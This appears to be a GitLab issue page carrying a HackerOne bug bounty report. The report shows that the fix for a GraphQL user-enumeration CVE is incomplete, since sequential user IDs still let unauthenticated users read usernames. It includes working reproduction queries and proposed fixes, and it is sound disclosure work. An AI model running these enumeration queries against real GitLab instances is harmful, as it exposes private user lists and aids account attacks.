Skip to content

Unauthenticated user can enumerate instance users (incomplete fix of CVE-2021-4191 in Security Release 14.8.2)

HackerOne report #1494149 by jimeno on 2022-02-28, assigned to @ankelly:

Report | How To Reproduce

Report

Summary

==NOTE==: I know and understand the issue being reported here is marked as Out of Scope. However, I'm linking to the most recent GitLab release notes (a security release) where the team clearly acknowledges this represents a security risk and has intended to fix it.

Thanks mungsul and todb-r7 for reporting this vulnerability through our HackerOne bug bounty program.

GitLab 14.8.2 Critical security release notes says:

Unauthenticated user enumeration on GraphQL API

An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.0 and all versions starting from 14.4 before 14.8. Private GitLab instances with restricted sign-ups may be vulnerable to user enumeration by unauthenticated users through the GraphQL API. This is a medium severity issue (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N, 5.3). It is now mitigated in the latest release and is assigned CVE-2021-4191.

Thanks mungsul and todb-r7 for reporting this vulnerability through our HackerOne bug bounty program.

Unfortunately, the patch GitLab made for this (see here) isn't complete and becomes useless given the fact that GitLab global identifiers gid://gitlab/OBJECT/IDENTIFIER are unique, sequential decimal numbers. This allows unauthenticated attackers to continue enumerating users on private GitLab instances where signup is disabled.

Note for the HackerOne analysts: by reading the hackerone.com/gitlab policy it says username enumeration without any further impact is Out of Scope. However, based on the linked official GitLab security release notes, they seem to have accepted unauthenticated username enumeration as Medium (5.3 score). Please, do not close this as N/A since it's clear GitLab ignored this line on their policy. Of course, I'll be happy to self-close this as N/A if GitLab team confirms this won't be accepted/is considered Out of Scope.

User and project enumeration/path disclosure unless an additional impact can be demonstrated

Steps to reproduce
Setup

Run a 14.8.2 or more recent GitLab instance where public singup is disabled.

Attack
  1. As an unauthenticated user, browse to the GraphQL console at https://YOUR-INSTANCE/-/graphql-explorer.
  2. First, we're going to verify the previously applied (14.8.2) fix works by running the following query:
query x {  
  users {  
    edges {  
      node {  
        id  
      }  
    }  
  }  
}
  1. Notice how the response confirms a fix was made for the previous report.
{
  "data": {  
    "users": null  
  },  
  "errors": [  
    {  
      "message": "The resource that you are attempting to access does not exist or you don't have permission to perform this action",  
      "locations": [  
        {  
          "line": 2,  
          "column": 3  
        }  
      ],  
      "path": [  
        "users"  
      ]  
    }  
  ]  
}
  1. Run the following query (note GitLab object identifiers follow a sequential order, one just has to increment the object ID by 1 in order to get the next username) and notice usernames can still be enumerated.
query x {  
  user(id: "gid://gitlab/User/1") {  
    username  
  }  
}
{
  "data": {  
    "user": {  
      "username": "root"  
    }  
  }  
}
Impact

Username enumeration on private instances where public signup is disabled. Exact same impact the CVE you recently issued: CVE-2021-4191.

Examples

N/A.

What is the current bug behavior?

Unauthenticated user can enumerate instance users when public sin up is disabled.

What is the expected correct behavior?

Unauthenticated user can't enumerate instance users when public sin up is disabled.

Relevant logs and/or screenshots

N/A

Output of checks

This bug happens on GitLab.com

Results of GitLab environment info
root@rigel:/# gitlab-rake gitlab:env:info

System information  
System:		  
Proxy:		no  
Current User:	git  
Using RVM:	no  
Ruby Version:	2.7.5p203  
Gem Version:	3.1.4  
Bundler Version:2.1.4  
Rake Version:	13.0.6  
Redis Version:	6.2.6  
Sidekiq Version:6.4.0  
Go Version:	unknown

GitLab information  
Version:	14.8.2-ee  
Revision:	20a7fdf52c9  
Directory:	/opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:	PostgreSQL  
DB Version:	12.7  
URL:		https://rigel.wiki  
HTTP Clone URL:	https://rigel.wiki/some-group/some-project.git  
SSH Clone URL:	git@rigel.wiki:some-group/some-project.git  
Elasticsearch:	no  
Geo:		no  
Using LDAP:	no  
Using Omniauth:	yes  
Omniauth Providers: auth0

GitLab Shell  
Version:	13.23.2  
Repository storage paths:  
- default: 	/var/opt/gitlab/git-data/repositories  
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell

Impact

Username enumeration on private instances where public signup is disabled. Exact same impact the CVE you recently issued: CVE-2022-0549.

Proposal

Fix ideas:

  1. Require authentication for queries identified as vulnerable to user enumeration in the thread below.
  2. Restrict Public level visibility by default? That would take care of issues like these wholesale.
Edited by Rohit Shambhuni